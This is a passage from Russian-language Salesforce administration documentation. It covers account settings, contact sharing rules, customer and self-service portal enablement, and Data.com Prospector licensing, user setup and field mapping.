ВЕРСИИ

Сведения об организациях
доступны в версиях:
Lightning Experience и
Salesforce1

Компонент «Иерархия
организаций» доступен в:
Salesforce Classic

Организации-компании
доступны в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
организаций:
• «Настройка

приложения»

Включитеилиотключитефункциисведенийоборганизацияхилииерархииорганизаций
на странице параметров организаций.

Выполняемые функцииФункция

Еслифункция сведений об организациях
включена, она использует технологии
Salesforceисторонниетехнологии, которые
позволяют работать на других уровнях
обеспечения конфиденциальности и
безопасности. Этислужбымогутсохранять
и обрабатывать некоторые данные вашей
организации, такие как название
организации и веб-сайт. Salesforce не
отвечает за конфиденциальность и
безопасность данных, которые доступны
третьимсторонам, есливыиспользуете эту
функцию.

Важные данные об организациях

Если включена иерархия организаций,
ссылка [Просмотриерархии]появляется
рядом с названием организации на
странице сведений об организации.
Нажмите на ссылку для просмотра

Иерархия организаций

взаимоотношениймежду организацией и
ее партнером.

1. Введитестроку «Параметры организации» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт«Параметры
организации».

2. Нажмите кнопку «Правка».

3. Измените нужные параметры.

4. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Организации
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Администрирование групп взаимосвязи

Настройка контактов и ролей контактов

Создание правил общего доступа к контакту

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания правил
общего доступа:
• «Управление общим

доступом»

Правила общего доступа к контакту могут опираться на ответственного или другой
критерий, включая тип записи и определенные значения полей. Разрешается создавать
не более 300 правил общего доступа к контакту, в том числе не более 50 правил общего
доступа на основе критериев.

1. Чтобы добавить общедоступные группы в правила общего доступа, убедитесь, что
соответствующие группы были созданы.

2. Введите строку «Параметры общего доступа» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры общего доступа».

3. Нажмите кнопку «Создать» в связанном списке «Правила общего доступа: контакт».

4. Заполнитеполя «Имяметки»и «Имяправила». Метка — этометкаправилаобщего
доступа, отображаемая в пользовательском интерфейсе. Имя правила — это
уникальное имя, используемое интерфейсом API и управляемыми пакетами.

5. Заполните поле «Описание». Данное поле содержит описание правила общего
доступа. Данное поле является дополнительным и может содержать не более 1 000
символов.

6. Выберите тип правила.

7. В зависимости от выбранного типа правила, выполните указанные ниже действия.

• «На основе ответственности за запись». В строке «за которые отвечают
участники» выберите пользователей, записи которых должны стать
общедоступными: выберите категорию в первом раскрывающемся списке и группу пользователей во втором
раскрывающемся списке (или в поле поиска, если организация использует более 200 очередей, групп, ролей или
территорий).

• «На основе критериев». Укажите критерии «Поле», «Оператор» и «Значение», которым должны соответствовать
записи для добавления в правило общего доступа. Доступные поля определяются выбранным типом объекта. В
качестве значения можно использовать текстовую строку или число. Чтобы изменить стандартную взаимосвязь
типа «И» между всеми фильтрами, щелкните ссылку «Добавить логикуфильтра...».

Прим.: Чтобыиспользоватьполе, котороенеподдерживаетсяправиламиобщегодоступанаосновекритериев,
рекомендуем создать бизнес-правило или триггер Apex для копирования значения поля в текстовое или
числовое поле и его использования в качестве критерия.

8. Встроке «Общий доступ с» выберитепользователей, которымпредоставляетсядоступкданным: выберитекатегорию
в первом раскрывающемся списке и группу пользователей во втором раскрывающемся списке или поле поиска.

9. Выберите параметры общего доступа для пользователей.
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ОписаниеПараметр доступа

Пользователи могут просматривать записи, но не могут
их обновлять.

Только для чтения

Пользователи могут просматривать и обновлять записи.Для чтения и записи

10. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Правила общего доступа

Категории правила общего доступа
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Включение социальных организаций, контактов и интересов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Контакты доступны в
версиях: все версии, кроме
Database.com Edition.

Интересы доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Unlimited Edition и
Developer Edition.

Функции Data.com Clean и
Data.com Social Key
доступны в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения, настройки
или выключения функции
«Социальные организации,
контакты и интересы»:
• «Настройка

приложения»

Функция «Социальные организации, контактыиинтересы», включенная в организации
илиприложенииSalesforce1, позволяетпредоставлятьпользователямдоступксоциальным
сетям.

Организациям, созданнымпосле выпуска Spring'12, функция «Социальныеорганизации,
контакты и интересы» и доступ ко всем социальным сетям предоставляются по
умолчанию. Для организаций, созданных ранее, даннуюфункцию следует включить
вручную.

Прим.: Если функция «Социальные организации, контакты и интересы» уже
включена, но пользователи не видят одну или несколько социальных сетей, см.
раздел «Устранение проблем с функцией "Социальные организации, контакты и
интересы"».

1. В меню «Настройка» введите строку «Социальные организации» в поле «Быстрый
поиск» и выберите пункт «Настройки социальных организаций и контактов».

2. Установите флажок «Включить социальные организации и контакты».

3. Выберите социальные сети, к которым могут обращаться пользователи в вашей
организации. По умолчанию включена поддержка всех социальных сетей.

В Salesforce Lightning Experience и мобильном приложении Salesforce1 пользователи
имеют доступ только к Twitter, даже если включены другие социальные сети.

4. Нажмите кнопку «Сохранить».

5. Чтобы сделать Twitter доступным в мобильном приложении Salesforce1, добавьте
карточку Twitter в раздел «Мобильные карточки» в макеты страниц интересов,
контактов и организаций.

6. Уведомите пользователей о возможности индивидуальной настройки функции
«Социальные организации, контакты и интересы».

СМ. ТАКЖЕ:

Социальные организации, контакты и интересы

Устранениенеполадоксфункцией «Социальныеорганизации, контактыиинтересы»

Настройка социальных организаций, контактов и интересов

Активация Data.com Social Key
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Рекомендации по включению клиентского портала для контактов и управлению им

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже приведены рекомендации по включению клиентского портала для контактов.
Выберите наилучшие методы для сохранения сведений о контактах.

Включение клиентского портала для контактов
• Контакт может быть включен на клиентском портале только в том случае, если

ответственныйзаорганизациюконтакта связан срольювсобственнойорганизации.

• Для пользователя, который одновременно является пользователем партнерского и
клиентского порталов, необходимо создать два контакта, благодаря которым на
каждом портале можно будет использовать разные имена пользователей и пароли.

• Контакт может быть пользователем портала самообслуживания и партнерского
портала или пользователем клиентского портала.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

• Все данные, созданные или принадлежащие пользователю портала самообслуживания, могут быть доступны
пользователю партнерского или клиентского портала, связанному с этим же контактом.

• Поле «Псевдоним» по умолчанию содержит адрес-псевдоним данного пользователя. Например, если поле «Адрес
эл. почты» содержит значение «spetrov@kompaniya.ru», то при нажатии кнопки «Сохранить» полю «Псевдоним»
по умолчанию присваивается значение «spetrov».

• При включении клиентского портала организации контакту назначается роль «Пользователь-клиент», содержащая
имя организации контакта. При необходимости роль контакта на портале может быть обновлена. Данный алгоритм
не относится к пользователям массового портала, так как они не имеют ролей и не являются участниками иерархии
ролей.

Управление клиентским порталом для контактов
• Настройкидоступаконтактакклиентскомупорталумогутбытьизменены. Щелкнитессылку«Управлениевнешним

пользователем» и выберите пункт «Просмотр пользователя клиентского портала».

• Объединение контактов, поддерживающих возможность использования клиентского портала.

• Изменение организации контакта.

• Регулярнопроверяйте актуальностьнастроекдоступа кпорталу, принеобходимостидеактивируяиотключая учетные
записи пользователей.

• Чтобы удалить контакт, отключите для пользователя доступ к порталу. Неактивные пользователи не могут быть
удалены.

СМ. ТАКЖЕ:

Включение клиентского портала для контактов и организаций-лиц

Рекомендации по объединению контактов, связанных с пользователями портала

Ограничения контактов

1879

Настройка контактов и ролей контактовНастройка и обслуживание инструментов продаж



Включение клиентского портала для контактов и организаций-лиц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
пользователей клиентского
портала или выполнения
входа в качестве
пользователя портала:
• «Редактирование» для

организаций, связанных
с
пользователем-клиентом

И

«Редактирование
пользователей портала
самообслуживания»

Чтобыразрешить клиенту доступ к клиентскомупорталу Salesforce, запись контакта или
организации-лица данного клиента должна быть активирована в качестве пользователя
клиентского портала.

1. На странице сведений о контакте или организации-лице щелкните ссылку
«Управление внешним пользователем», а затем выберите пункт «Включить
пользователя-клиента».

2. Проверьтеобщиесведенияирегиональныенастройки. Принеобходимостивведите
любуюнужнуюинформацию. Поле «Имя пользователя» по умолчаниюсодержит
адрес эл. почты клиента.

3. Выберителицензиюпользователяпортала. Выбраннаялицензияопределяетнаборы
полномочий, профиль пользователя и параметры иерархии ролей, которые могут
быть заданы для пользователя клиентского портала. См. раздел «Лицензии
пользователей клиентского портала» на странице 2688.

4. Чтобы отправить клиенту сообщение эл. почты, содержащее его имя пользователя
ипарольнаклиентскомпортале, установитефлажок «Создать пароль и немедленно
уведомить пользователя».

Если организация Salesforce использует несколько клиентских порталов, то все
клиентские порталы, назначенные профилю пользователя, могут быть доступны
посредствомодногоименипользователяипароля. См. раздел «Созданиенескольких
клиентских порталов» на странице 2653.

5. Нажмите кнопку «Сохранить».

6. Чтобы устранить неполадки или подтвердить конфигурацию портала, нажмите
кнопку «Управление внешним пользователем» на странице сведений о контакте
и выберите пункт «Войти на портал в качестве пользователя». Данное действие
открывает новое окно обозревателя и выполняет автоматический вход от имени
пользователя-партнера.

При необходимости модератор может деактивировать других пользователей.

СМ. ТАКЖЕ:

Рекомендации по включению клиентского портала для контактов и управлению им

Включение социальных организаций, контактов и интересов

Рекомендации по изменению организаций для контактов, имеющих доступ к порталам

Рекомендации по объединению контактов, связанных с пользователями портала

Ограничения контактов

Общие сведения об управлении пользователями клиентского портала

Рекомендации по включению клиентского портала для контактов и управлению им
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Включение функций самообслуживания для контактов и организаций-лиц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации
пользователей портала
самообслуживания:
• «Редактирование

пользователей портала
самообслуживания»

Чтобы разрешить клиенту доступ к порталу самообслуживания, включите поддержку
портала самообслуживания для клиентской записи организации-лица или контакта.
Пользователь портала самообслуживания может просматривать только те обращения,
которые связаны с записью организации.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для
новых организаций. Текущие организации могут использовать портал
самообслуживания в обычном режиме.

1. Настраницесведенийоконтактеилиорганизации-лиценажмитекнопку«Включить
самообслуживание».

2. Проверьтеобщиесведенияирегиональныенастройки. Принеобходимостивведите
любуюнужнуюинформацию. Полепорталасамообслуживания «Имя пользователя»
по умолчанию содержит адрес эл. почты клиента.

3. Чтобы назначить клиенту статус суперпользователя на портале самообслуживания,
установите флажок в поле «Суперпользователь». Суперпользователи могут
просматривать сведения об обращениях, добавлять комментарии и загружать
вложения для всех обращений, отправленных любым сотрудником компании.

4. Чтобы отправить клиенту сообщение эл. почты, содержащее его имя пользователя
и пароль на портале самообслуживания, установите флажок «Создать пароль и
немедленно уведомить пользователя».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Что такое организация-лицо?

Определение ролей контактов для контактов в возможностях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Определите, какие роли торговые представители могут назначить для контактов в
возможностях. Определите значения для ролей контактов в раскрывающихся списках
и последовательности, в которых они будут появляться. Укажите, какие цвета будут
использоваться для обозначения ролей в диаграммах.

1. Для редактирования введите строку «Контакт» в поле «Быстрый поиск» в меню
«Настройка», затем выберите «Роли контактов в возможностях».

2. Настройте предварительно определенные роли контактов. При необходимости
создайте новые роли.

3. Сохраните внесенные изменения.

1881

Настройка контактов и ролей контактовНастройка и обслуживание инструментов продаж



Настройка Data.com Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

Для активации
пользователей Data.com:
• «Управление

внутренними
пользователями»

Для установки пакетов
AppExchange:
• «Загрузка пакетов

AppExchange»

Позволяет вашимпредставителямнаходить компании, интересыиконтактысредствами
Salesforce. Чтобы сделать это, настройте и примените Data.com Prospector.

Важное замечание: Чтобыразрешитьпользователюдобавлениеиэкспортфайлов
из Data.com, лицензия должна быть назначена пользователю data.com напрямую.

1. Как работают типы пользователя, лицензии и ограничения на добавление записей
Data.com?

Типы пользователя, лицензии и ограничения на добавление записей определяют
пользователей, которые могут просматриватьData.com, а также действия, доступные
пользователям Data.com.

2. Настройка пользователей Data.com

Чтобы разрешить использование базы данных Data.com, содержащей большое
количествоорганизаций, контактовиинтересов, предоставьтепользователямдоступ
к Data.com и задайте ограничения на добавление записей.

4. Включение функции очистки Data.com Clean для продукта Data.com Prospector

Позвольте пользователям вручную очищать учетную запись, контакт и записи об
интересах. Вы можете даже очищать записи, которые добавлялись из других
источников. Очистка включается по умолчанию при использовании Data.com
Prospector. ИспользуяData.com Premium Prospector выможетевручнуюочищать записи
компании D&B, связанные с учетной записью или с записью об интересах.

5. Настройка Data.com Corporate Prospector

ПродуктData.com Corporate Prospectorпредоставляетосновныеданные Dun & Bradstreet
об организациях и интересах, включая поля «Номер D-U-N-S», «Код NAICS»,
«Торговый стиль» и другое. Способ внедрения данного продукта описан ниже.

6. Настройка Data.com Premium Prospector

Data.com Premium Prospector — это модернизированная версия продукта Data.com
Corporate Prospector. Помимо всех функций и полей, доступных пользователям
Data.com Corporate Prospector, пользователям Data.com Premium Prospector также
доступныболее 70 дополнительныхполей D&B дляорганизацийиинтересовSalesforce,
добавленных из Data.com. Подобно пользователям Data.com Corporate Prospector,
пользователи Data.com Premium Prospector такжемогут просматривать ограниченное
количество полей D&B для записей организаций и интересов.

7. Ограничение доступных действий над результатами поиска Data.com

Используйте функциюДобавить в Salesforce иЭкспортировать результаты,
чтобы ограничить набор действий, которые могут выполнять пользователи при
помощи результатов поиска Data.com для функций Data.com, в которых используются результаты поиска.

8. Использование параметров сокрытия контактных данных в результатах поиска и экспортах Data.com

Результаты поиска Data.com и файлы экспорта позволяют скрывать некоторые контактные данные.
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9. Рекомендациипопредоставлениюпользователям возможностиискать сведения о компаниях, контактах и интересах
с помощью средства Data.com Prospector

Продукт Data.com Prospector доступен в двух версиях. Каждая позволяет искать данные в Data.com и добавлять туда
данные. Ознакомьтесь с некоторыми рекомендациями по внедрению обеих версий.

СМ. ТАКЖЕ:

Получайте высококачественные данные там, где это нужно при помощи Salesforce

Как работают типы пользователя, лицензии и ограничения на добавление записей Data.com?

Как работают типы пользователя, лицензии и ограничения на добавление записей
Data.com?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Типы пользователя, лицензии и ограничения на добавление записей определяют
пользователей, которые могут просматривать Data.com, а также действия, доступные
пользователям Data.com.

Просмотр сведений о лицензиях Data.com, доступных остатков и ограничений
Страница «Лицензии и ограничения Data.com» меню «Настройка» позволяет
просматривать важные сведения о лицензиях, доступных остатках и ограничениях.
Кроме того, данная страница отображает ежедневные ограничения API дляData.com.

Как работают лицензии для продукта Data.com Prospector?

Лицензии Data.com Prospector позволяют пользователям выполнять поиск по
организациямиконтактамData.com, а затемдобавлятьих в качестве записей Salesforce.
Пользователям может быть назначен один из двух типов лицензий («Пользователь
Data.com» и «Пользователь Data.com List»), каждый из которых отличается
собственными характеристиками.

Алгоритм работы лицензий для функции Data.com Clean

ПрииспользованиипродуктаData.com Prospectorпользователисданнымилицензиями
могут выполнятьручнуюочисткудоступныхиморганизаций, контактовиинтересов.
ПриприобретениифункцииData.com Cleanпользователямдоступна автоматическая
очистка записей, а ручная очистка записей доступна всем пользователям Salesforce
(не только пользователям с лицензиями Data.com Prospector).

СМ. ТАКЖЕ:

Использование Data.com. Вопросы и ответы

Настройка пользователей Data.com
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Просмотр сведений о лицензиях Data.com, доступных остатков и ограничений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страниц
настроек Data.com:
• «Настройка

приложения»

Страница «Лицензии и ограничения Data.com» меню «Настройка» позволяет
просматриватьважныесведенияолицензиях, доступныхостаткахиограничениях. Кроме
того, данная страница отображает ежедневные ограничения API для Data.com.

Совет: Чтобы просмотреть количество записей, добавленных или
экспортированных каждым пользователем, откройте страницу «Все пользователи
Data.com». Введите строку «Пользователи» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Пользователи Data.com Prospector». Если
организация использует типы настраиваемых отчетов, то объект «Использование
Data.com» может использоваться для создания отчета, содержащего более
подробную информацию об использовании.

1. Введите строку «Лицензии и ограничения» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Лицензии и ограничения».

СМ. ТАКЖЕ:

Как работают типы пользователя, лицензии и ограничения на добавление записей
Data.com?

Как работают лицензии для продукта Data.com Prospector?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Лицензии Data.com Prospector позволяют пользователям выполнять поиск по
организациям и контактам Data.com, а затем добавлять их в качестве записей Salesforce.
Пользователям может быть назначен один из двух типов лицензий («Пользователь
Data.com» и «Пользователь Data.com List»), каждыйиз которыхотличается собственными
характеристиками.

Важное замечание: You need to assign a Data.com license directly to a user in order for
that user to add and export files from Data.com.

Пользователь Data.com

ПользователиData.comмогут ежемесячнодобавлятьилиэкспортироватьограниченное
количество записей организаций, контактов и интересов. По умолчанию записи
пользователя в лицензии ограничено числом 300. Ограничение на добавление записей
обновляется в полночь при наступлении первого дня месяца (на основе часового пояса
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организации) независимо от даты начала контракта. Неиспользованные записи аннулируются в конце каждого месяца,
не переносятся на следующий месяц, и за них не осуществляется возврат средств.

Пример: Для отдела продаж компании Universal Telco, насчитывающего 14 торговых представителей, приобретено
20 лицензий Data.com Prospector. Ежемесячное ограничение по каждой лицензии составляет 300 записей. Таким
образом, пользователи Data.com данной организации могут ежемесячно добавлять 6 000 записей. Администратор
компании Universal Telco может распределить данное ограничение следующим образом.

• Десяти торговым представителям выделить по 300 записей.

• Двум торговым представителям выделить по 500 записей.

• Двум торговым представителям выделить по 1 000 записей.

Пользователь Data.com List

ПользователиData.comмогут ежемесячнодобавлятьилиэкспортироватьограниченноеколичество записейорганизаций,
контактов и интересов. Неиспользованные записи аннулируются в конце каждого месяца, не переносятся на следующий
месяц. Пользователям Data.com List, исчерпавшимпредоставленноеежемесячноеограничение, доступныдополнительные
записи, являющиесяобщимидля всехпользователей Data.com List организации. Срокдействиянеиспользованныхобщих
дополнительных записей составляет один год с момента их приобретения. Общее ограничение, предоставленное
организации, доступно только пользователямData.com List. ПользовательData.com, которому требуется доступ к общему
ограничению, должен быть изменен на пользователя Data.com List.

Пример: Отдел маркетинга компании Universal Telco насчитывает четыре специалиста по маркетингу. Каждому
специалисту назначена лицензия Data.com Prospector и все специалисты являются пользователями Data.com List.
Компания Universal Telco приобретаетдостаточноеежемесячноеколичестводополнительныхзаписейипоумолчанию
предоставляет каждому пользователю Data.com 300 записей в месяц. Кроме того, компания приобретает пул,
содержащий 5 000 дополнительных записей. Таким образом, каждому специалисту по маркетингу, исчерпавшему
собственное ежемесячное ограничение, предоставляется доступ к общему ограничению. Другими словами, все
четыре специалиста по маркетингу могут добавить в общей сложности 5 000 записей. Например, один специалист
может добавить 2 500 записей, тогда как остальные 2 500 записей будут доступныодному или всем трем оставшимся
специалистам.

СМ. ТАКЖЕ:

Как работают типы пользователя, лицензии и ограничения на добавление записей Data.com?

1885

Настройка Data.com ProspectorНастройка и обслуживание инструментов продаж



Алгоритм работы лицензий для функции Data.com Clean

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

При использовании продуктаData.com Prospector пользователи с данными лицензиями
могут выполнять ручную очистку доступных им организаций, контактов и интересов.
При приобретениифункции Data.com Clean пользователям доступна автоматическая
очистка записей, а ручная очистка записей доступна всем пользователям Salesforce (не
только пользователям с лицензиями Data.com Prospector).

Страница «Лицензии и ограничения Data.com» меню «Настройка» определяет
пользователей, которые могут очищать записи, а также возможность использования
автоматических заданий по очистке.

Прим.: При приобретении только продукта Data.com Prospector очистка записей
доступна только пользователям с соответствующими лицензиями.

СМ. ТАКЖЕ:

Как работают типы пользователя, лицензии и ограничения на добавление записей
Data.com?
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Настройка пользователей Data.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для внедрения Data.com:
• «Настройка

приложения»

Для активации
пользователей Data.com:
• «Управление

внутренними
пользователями»

Для установки пакетов
AppExchange:
• «Загрузка пакетов

AppExchange»

ЧтобыразрешитьиспользованиебазыданныхData.com, содержащейбольшоеколичество
организаций, контактов и интересов, предоставьте пользователям доступ к Data.com и
задайте ограничения на добавление записей.

Важное замечание: Чтобыразрешитьпользователюдобавлениеиэкспортфайлов
из Data.com, лицензия должна быть назначена пользователю data.com напрямую.

1. Введите строку «Управление пользователями» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Пользователи».

2. На странице «Пользователи» щелкните «Изменить» рядом с именем пользователя,
которого требуется включить.

3. Выберите тип пользователя в раскрывающемся списке «Тип пользователя
Data.com». Система Salesforce поддерживает два типапользователей. пользователь
Data.com и пользователь Data.com List. Пользователи Data.com могут ежемесячно
добавлять или экспортировать ограниченное количество записей организаций,
контактов и интересов; при этом неиспользованные записи аннулируются в конце
каждогомесяца. Ежемесячныеограничения, предоставляемыепользователямData.com
List, аналогичны ограничениям, которые предоставляются пользователям Data.com.
Пользователям Data.com List, исчерпавшим предоставленное ежемесячное
ограничение, доступны дополнительные записи, являющиеся общими для всех
пользователей Data.com List организации.

4. В раскрывающемся списке Ежемесячное ограничение на добавление Data.com

выберите номер учетной записи, контакта, и записи об интересах, которые
пользователь может добавлять каждый месяц. При необходимости назначьте
ограничение, установленное для организации, одному или всем пользователям.
Помните, что при достижении ежемесячного ограничения пользователи теряют
возможность добавления записей.
Например, если организация может ежемесячно добавлять 3 000 записей, то одному
пользователюможетбыть выделено 500 записей, второму — 1 000 записей, а третьему
— максимально допустимое количество (в данном примере 3 000 записей). Если
второй пользователь добавит сразу 1 000 записей, то третий пользователь сможет
добавить не более 2 000 записей. Кроме того, если третий пользователь добавит
более 500 записей, то первому пользователю добавление записей будет недоступно.

Совет: Чтобыпросмотреть ежемесячное ограничение на добавление записей, установленное для организации,
откройтестраницу «ЛицензиииограниченияData.com». Введитестроку «Лицензии и ограничения» вполе «Быстрый
поиск» в меню «Настройка» и выберите пункт «Лицензии и ограничения».

5. Нажмите кнопку «Сохранить». Чтобы настроить Data.com для других пользователей, нажмите кнопку «Сохранить
и создать».

Совет: ЧтобынастроитьпользователейData.com, выбратьнужныйтиппользователяData.comизадатьежемесячное
ограничение на добавление, воспользуйтесь приложением Apex Data Loader. Для этого, экспортируйте записи
пользователей в CSV-файл, измените соответствующие поля для каждого нужного пользователя и затем
импортируйте CSV-файл в систему Salesforce. Объект «Пользователь» содержит следующие поля для экспорта:
LastName, FirstName, UserPermissionsJigsawProspectingUser, JigsawImportLimitOverride
и UserPreferencesJigsawListUser. Дополнительную информацию об объекте «Пользователь» см. в
Руководстве разработчика SOAP API.
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КоличествопользователейData.com, доступноедлянастройкив системе Salesforceилипосредствомприложения
Data Loader, определяется количеством приобретенных лицензий Data.com. При использовании приложения
Data Loader рекомендуем внимательно отслеживать оставшееся количество лицензий.

СМ. ТАКЖЕ:

Получайте высококачественные данные там, где это нужно при помощи Salesforce

Как работают типы пользователя, лицензии и ограничения на добавление записей Data.com?

Включение функции очистки Data.com Clean для продукта Data.com Prospector

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения или
отключения функции
очистки Data.com Clean:
• «Настройка

приложения»

Позвольте пользователям вручную очищать учетную запись, контакт и записи об
интересах. Выможетедажеочищать записи, которыедобавлялисьиздругихисточников.
Очистка включается по умолчаниюпри использованииData.com Prospector. Используя
Data.com Premium Prospectorвыможетевручнуюочищатьзаписикомпании D&B, связанные
с учетной записью или с записью об интересах.

Прим.:

• ПриприобретениипродуктаData.com Cleanпользователимогуточищатьзаписи
организаций, контактов и интересов вручную или автоматически. При
приобретении версии продукта Data.com Premium Clean пользователям также
доступныавтоматическиезаданияпоочистке записейкомпаний D&B, связанных
с записями организаций или интересов. Дополнительную информацию см. в
разделе «Настройка функции Data.com Clean».

• Включениефункцииочисткинеприводиткнезамедлительнойочисткезаписей.
Чтобы отключить даннуюфункцию, нажмите кнопку «Отключить».

1. Вменю «Настройка» введите «Параметры очистки» в поле «Быстрый поиск», затем
выберите «Параметры очистки».

2. Убедитесь, что функция Data.com Clean включена.

Рекомендации по настраиваемому соотнесению полей Data.com и Salesforce

Настраиваемые соотнесения позволяют заполнять нужные поля организаций,
контактов и интересов Salesforce значениями Data.com. Прежде чем выполнить
соотнесение полей, убедитесь в глубоком понимании принципов соотнесения,
необходимой подготовки и ожидаемых результатов.

Рекомендациипоразрешениюповторяющихся записей Data.com в системе Salesforce

Организации, использующиемодельобщегодоступа, могутразрешатьпользователям
Data.com добавлять повторяющиеся записи организаций, контактов или интересов
в систему Salesforce.

СМ. ТАКЖЕ:

Data.com Clean

Настройка функции Data.com Clean
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Рекомендации по настраиваемому соотнесению полей Data.com и Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно при наличии
лицензии Data.com
Prospector в версиях:
Contact Manager (без
объекта «Интерес»), Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition и
Unlimited Edition.

Доступно при наличии
лицензии на функцию
Data.com Clean в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Настраиваемыесоотнесенияпозволяютзаполнятьнужныеполяорганизаций, контактов
иинтересов Salesforce значениямиData.com. Преждечем выполнить соотнесениеполей,
убедитесь в глубоком понимании принципов соотнесения, необходимой подготовки и
ожидаемых результатов.

Некоторые поля Data.com и Salesforce недоступны. Новое поле Salesforce доступно для
соотнесения только в том случае, если использует тотже тип данных, что и стандартное
поле. Например, поле «Описание» может соотноситься с полем, поддерживающим
область подробного текста, длиною не менее 1 000 символов.

Ниже перечислены условия применения настраиваемых соотнесений полей.

• Записи Data.com добавляются в систему Salesforce.

• Записи Salesforce сопоставляются с записями Data.com и очищаются вручную или
автоматически.

Прежде чем выполнить соотнесение полей, просмотрите перечисленные ниже
рекомендации и возможные последствия.

• Соотнесение полей или обновление соотнесений инициирует полную
синхронизацию с Data.com: все записи включенных объектов CRM (организации,
контакты и интересы) обновляются даже при отсутствии изменений.

• Соотнесения полей Data.com могут конфликтовать с другими настройками полей
Salesforce (например, утверждения, бизнес-правилаилитриггеры Apex), используемыми
для организаций, контактов, интересов или записей компаний D&B. При
необходимости просмотрите и измените настройки с целью их совместимости со значениями, предоставленными
соотнесениями.

• Соотнесение отдельных полей Data.com может быть пропущено, однако значения пропущенных полей не подлежат
добавлению, экспорту или использованию при определении статуса очистки записи.

• Пропуск или изменение соотнесений для полей, используемых при сопоставлении записей Salesforce и Data.com,
может инициировать выбор статуса очистки «Не найдено» для некоторых записей.

• Пропускилиизменениесоотнесениядляполяорганизации «Номер D-U-N-S» инициируетиспользованиеслужбы
сопоставления Data.com вместо поля «Номер D-U-N-S» во всех заданиях по повторному сопоставлению записей
организаций.

